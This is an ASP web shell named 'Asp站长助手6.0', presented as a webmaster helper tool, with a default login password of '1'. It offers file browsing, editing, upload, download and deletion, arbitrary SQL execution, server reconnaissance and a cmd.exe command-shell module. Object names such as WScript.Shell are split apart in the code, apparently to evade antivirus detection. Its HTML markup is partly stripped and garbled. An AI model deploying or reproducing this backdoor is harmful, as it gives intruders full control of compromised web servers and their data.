<%'########版权所有 - 桂林老兵站www.xx123Server.ScriptTimeout=50000Response.Buffer = TrueOn Error Resume NextApplicationName = "Asp站长助手6.0" '#####程序名称/标题UserPass = "1" '#####初始登录密码 ShowFileIco = True '#####是否显示图标,False为用文字图标IcoPath = "http://www.xx123/images/FileType/" '#####图标目录,不必修改URL = Request.ServerVariables("URL")ServerIP = Request.ServerVariables("LOCAL_ADDR")BackUrl = Request.ServerVariables("HTTP_REFERER")Action = Request("Action")RootPath = Server.MapPath(".")WWWRoot = Server.MapPath("/")FolderPath = Request("FolderPath")FName = Request("FName")BackUrl = "
"If Session("GXGL")<>UserPass Then If Request.Form("LPass")<>"" Then If Request.Form("LPass")=UserPass Then Session("GXGL")=UserPass Response.Redirect BackUrl Else response.write"验证失败!" End If Else SI="
欢迎使用ASP站长助手
" SI=SI&"" Response.Write SI End If Response.EndEnd Ifsub ShowErr() If Err Then Response.Write"
" & Err.Description & "" Err.Clear:Response.Flush End If end subDim ObT(13,2)ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect" ObT(0,2) = "文件操作组件"ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll" ObT(1,2) = "命令行执行组件"ObT(2,0) = "ADOX.Catalog" ObT(2,2) = "ACCESS建库组件"ObT(3,0) = "JRO.JetEngine" ObT(3,2) = "ACCESS压缩组件"ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary" ObT(4,2) = "数据流上传辅助组件"ObT(5,0) = "Adodb.connection" ObT(5,2) = "数据库连接组件"ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am" ObT(6,2) = "数据流上传组件"ObT(7,0) = "SoftArtisans.FileUp" ObT(7,2) = "SA-FileUp 文件上传组件"ObT(8,0) = "LyfUpload.UploadFile" ObT(8,2) = "刘云峰文件上传组件"ObT(9,0) = "Persits.Upload.1" ObT(9,2) = "ASPUpload 文件上传组件"ObT(10,0) = "JMail.SmtpMail" ObT(10,2) = "JMail 邮件收发组件"ObT(11,0) = "CDONTS.NewMail" ObT(11,2) = "虚拟SMTP发信组件"ObT(12,0) = "SmtpMail.SmtpMail.1" ObT(12,2) = "SmtpMail发信组件"ObT(13,0) = "Microsoft.XMLHTTP" ObT(13,2) = "数据传输组件"For i=0 To 13 Set T=Server.CreateObject(ObT(i,0)) If -2147221005 <> Err Then IsObj=True Else IsObj=false Err.Clear End If Set T=Nothing ObT(i,1)=IsObjNextFunction RePath(S) RePath=Replace(S,"/","//")End FunctionFunction RRePath(S) RRePath=Replace(S,"//","/")End FunctionIf FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath)End IfIf Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPathEnd ifFunction IsIco(ia,ib,ta) If ShowFileIco=true Then IsIco = "
%20" %20%20If%20ib<>""%20Then %20%20IsIco%20=%20"
%20" %20%20End%20If Else %20%20IsIco%20=%20"
"&ta&"%20%20" End%20IfEnd%20FunctionFunction%20MainForm()%20%20SI="
"%20%20SI=SI&"
"%20%20SI=SI&""%20%20SI=SI&" | "%20%20SI=SI&" | "%20%20SI=SI&""%20%20SI=SI&""%20%20SI=SI&"
"%20%20Response.Write%20SIEnd%20FunctionFunction%20MainMenu()%20%20SI="
"%20%20SI=SI&" | "%20%20SI=SI&" "%20%20SI=SI&IsIco("minus.gif","computer.gif","o")&"FSO文件操作模块" SI=SI&"" If Not ObT(0,1) Then SI=SI&" | " Else Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing SI=SI&" " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"WEB根目录" SI=SI&"" SI=SI&" " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"程序目录" SI=SI&"" SI=SI&" " SI=SI& IsIco("minus.gif","newfolder.gif","1") SI=SI&"新建目录" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","newfile.gif","2") SI=SI&"新建文本" SI=SI&"" End If Response.Write SI:SI="" SI=SI&" " SI=SI&IsIco("minus.gif","main.gif","8") SI=SI&"文件上传模块" SI=SI&"" SI=SI&" " SI=SI&IsIco("plus.gif","main.gif","o") SI=SI&"数据库操作模块" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","newfile.gif","4") SI=SI&"建立MDB文件" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","mdb.gif","4") SI=SI&"数据库操作" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","zip.gif","4") SI=SI&"压缩MDB文件" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","cmd.gif","o") SI=SI&"命令行模块" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","main.gif","f") SI=SI&"退出登录" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","main.gif","f") SI=SI&"服务器信息" SI=SI&"" SI=SI&" " SI=SI&IsIco("minus.gif","htm.gif","f") SI=SI&"桂林老兵站" SI=SI&"
" Response.Write SI : SI=""End FunctionFunction ServerInfo() SI="
" SI=SI&"服务器组件信息 | " SI=SI&"服务器CPU数量 | "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
" SI=SI&"服务器操作系统 | "&Request.ServerVariables("OS")&"
" SI=SI&"WEB服务器版本 | "&Request.ServerVariables("SERVER_SOFTWARE")&"
" For i=0 To 13 SI=SI&""&ObT(i,0)&" | "&ObT(i,1)&""&ObT(i,2)&"
" Next Response.Write SIEnd FunctionFunction DownFile(Path) Response.Clear Set OSM = CreateObject(ObT(6,0)) OSM.Open OSM.Type = 1 OSM.LoadFromFile Path Response.AddHeader "Content-Disposition", "attachment; filename=" & Path Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush OSM.Close Set OSM = NothingEnd FunctionFunction HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) HTMLEncode = S end ifEnd FunctionFunction UpFile() If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then SI="
请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then SI="
文件"&UName&"上传成功!" End if End If Set F=nothing:Set U=nothing SI=SI&BackUrl Response.Write SI ShowErr() Response.End End If SI="
" Response.Write SIEnd FunctionFunction CmdShell() If Request("SP")<>"" Then:ShellPath = Request("SP"):Else:ShellPath = "cmd.exe":End If If Request("cmd")<>"" Then DefCmd = Request("cmd") SI="" Response.Write SIEnd FunctionFunction CreateMdb(Path) SI="
" Set C = CreateObject(ObT(2,0)) C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path) Set C = Nothing If Err.number=0 Then SI = SI & Path & "建立成功!" End If SI=SI&BackUrl Response.Write SIEnd function Function CompactMdb(Path)If Not ObT(0,1) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path Set C=NothingElse Set FSO=CreateObject(ObT(0,1)) If FSO.FileExists(Path) Then Set C=CreateObject(ObT(3,0)) C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak" Set C=Nothing FSO.DeleteFile Path FSO.MoveFile Path&"_bak",Path Else SI="
数据库"&Path&"没有发现!" Err.number=1 End If Set FSO=NothingEnd If If Err.number=0 Then SI="
数据库"&Path&"压缩成功!" End If SI=SI&BackUrl Response.Write SIEnd FunctionFunction DbManager() SqlStr=Trim(Request.Form("SqlStr")) DbStr=Request.Form("DbStr") SI=SI&"" Response.Write SI:SI="" If Len(DbStr)>40 Then Set Conn=CreateObject(ObT(5,0)) Conn.Open DbStr Set Rs=Conn.OpenSchema(20) SI=SI&"表
名" Rs.MoveFirst Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME") SI=SI&"[ del ] " SI=SI&""&TName&" | " End If Rs.MoveNext Loop Set Rs=Nothing SI=SI&"
" Response.Write SI:SI="" If Len(SqlStr)>10 Then If LCase(Left(SqlStr,6))="select" then SI=SI&"执行语句:"&SqlStr Set Rs=CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count RC=Rs.RecordCount Rs.PageSize=20 Count=Rs.PageSize PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page) If Page="" Or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page SI=SI&"" For n=0 to FN-1 Set Fld=Rs.Fields.Item(n) SI=SI&""&Fld.Name&" | " Set Fld=nothing Next SI=SI&"
" Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#EFEFEF" SI=SI&"x | " For i=0 To FN-1 If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if If RC=1 Then ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50)) End If SI=SI&""&ColInfo&" | " Next SI=SI&"" Rs.MoveNext Loop Response.Write SI:SI="" SqlStr=HtmlEnCode(SqlStr) SI=SI&"记录数:"&RC&" 页码:"&Page&"/"&PN If PN>1 Then SI=SI&" 首页 上一页 " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then SI=SI&i&" " Else SI=SI&""&i&" " End If Next SI=SI&" 下一页 尾页" End If SI=SI&"
|
" Rs.Close:Set Rs=Nothing Response.Write SI:SI="" Else Conn.Execute(SqlStr) SI=SI&"SQL语句:"&SqlStr End If Response.Write SI:SI=""End If Conn.Close Set Conn=Nothing End IfEnd Function%><%=ApplicationName&" - "&ServerIP%><%Dim T1Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject(ObT(4,0)) if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject(ObT(4,0)) vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End SubEnd ClassClass FIFdim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end functionEnd ClassClass LBF Dim CF Private Sub Class_Initialize SET CF=CreateObject(ObT(0,0)) End Sub Private Sub Class_Terminate Set CF=Nothing End Sub Function ShowDriver() For Each D in CF.Drives SI=SI&" " SI=SI&IsIco("plus.gif","driver.gif","v") SI=SI&"本地磁盘 ("&D.DriveLetter&":)" SI=SI&"" Next ShowDriver=SI End Function Function FileIco(FName) If ShowFileIco=true Then TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.fla.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip" FileType = lcase(Mid(FName, InstrRev(FName,".")+1)) If Instr(TypeList,"."&FileType)>0 then Ico = FileType&".gif" Else Ico = "default.gif" End If FileIco = "%20"%20%20Else%20%20%20%20%20FileIco="2%20"%20%20End%20If%20%20End%20Function%20%20Function%20ShowFile(Path)%20%20Set%20FOLD=CF.GetFolder(Path)%20%20i=0%20%20%20%20SI=""%20%20For%20Each%20F%20in%20FOLD.subfolders%20%20%20%20SI=SI&"" SI=SI&IsIco("","folder.gif","0") SI=SI&" "&F.Name&"" SI=SI&" | del" SI=SI&" copy" SI=SI&" move" i=i+1 If i mod 3 = 0 then SI=SI&"" Next SI=SI&" |
" Response.Write SI : SI="" For Each L in Fold.files SI="" SI=SI&"" SI=SI&""&FileIco(L.Name) SI=SI&""&L.Name&" | " SI=SI&""&L.Type&" | " SI=SI&""&clng(L.size/1024)&"K | " SI=SI&""&L.DateLastModified&" | " SI=SI&"edit | " SI=SI&"del | " SI=SI&"copy | " SI=SI&"move | " SI=SI&"
" Response.Write SI : SI="" Next Set FOLD=Nothing End function Function DelFile(Path) If CF.FileExists(Path) Then CF.DeleteFile Path SI="
文件 "&Path&" 删除成功!" SI=SI&BackUrl Response.Write SI End If End Function Function EditFile(Path) If Request("Action2")="Post" Then Set T=CF.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=nothing SI="
文件保存成功!" SI=SI&BackUrl Response.Write SI Response.End End If If Path<>"" Then Set T=CF.opentextfile(Path, 1, False) Txt=HTMLEncode(T.readall) T.close Set T=Nothing Else Path=Session("FolderPath")&"/newfile.asp":Txt="新建文件" End If SI="" Response.Write SI End Function Function CopyFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.CopyFile Path(0),Path(1) SI="
文件"&Path(0)&"复制成功!" SI=SI&BackUrl Response.Write SI End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If CF.FileExists(Path(0)) and Path(1)<>"" Then CF.MoveFile Path(0),Path(1) SI="
文件"&Path(0)&"移动成功!" SI=SI&BackUrl Response.Write SI End If End Function Function DelFolder(Path) If CF.FolderExists(Path) Then CF.DeleteFolder Path SI="
目录"&Path&"删除成功!" SI=SI&BackUrl Response.Write SI End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.CopyFolder Path(0),Path(1) SI="
目录"&Path(0)&"复制成功!" SI=SI&BackUrl Response.Write SI End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If CF.FolderExists(Path(0)) and Path(1)<>"" Then CF.MoveFolder Path(0),Path(1) SI="
目录"&Path(0)&"移动成功!" SI=SI&BackUrl Response.Write SI End If End Function Function NewFolder(Path) If Not CF.FolderExists(Path) and Path<>"" Then CF.CreateFolder Path SI="
目录"&Path&"新建成功!" SI=SI&BackUrl Response.Write SI End If End FunctionEnd ClassSelect Case Action Case "MainMenu":MainMenu() Case "ShowFile" Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing Case "DownFile":DownFile FName:ShowErr() Case "DelFile" Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing Case "EditFile" Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing Case "CopyFile" Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing Case "MoveFile" Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing Case "DelFolder" Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing Case "CopyFolder" Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing Case "MoveFolder" Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing Case "NewFolder" Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing Case "UpFile":UpFile() Case "Logout":Session.Contents.Remove("GXGL"):Response.Redirect URL Case "CmdShell":CmdShell() Case "CreateMdb":CreateMdb FName Case "CompactMdb":CompactMdb FName Case "DbManager":DbManager() Case "ServerInfo":ServerInfo() Case Else MainForm()End SelectShowErr()%>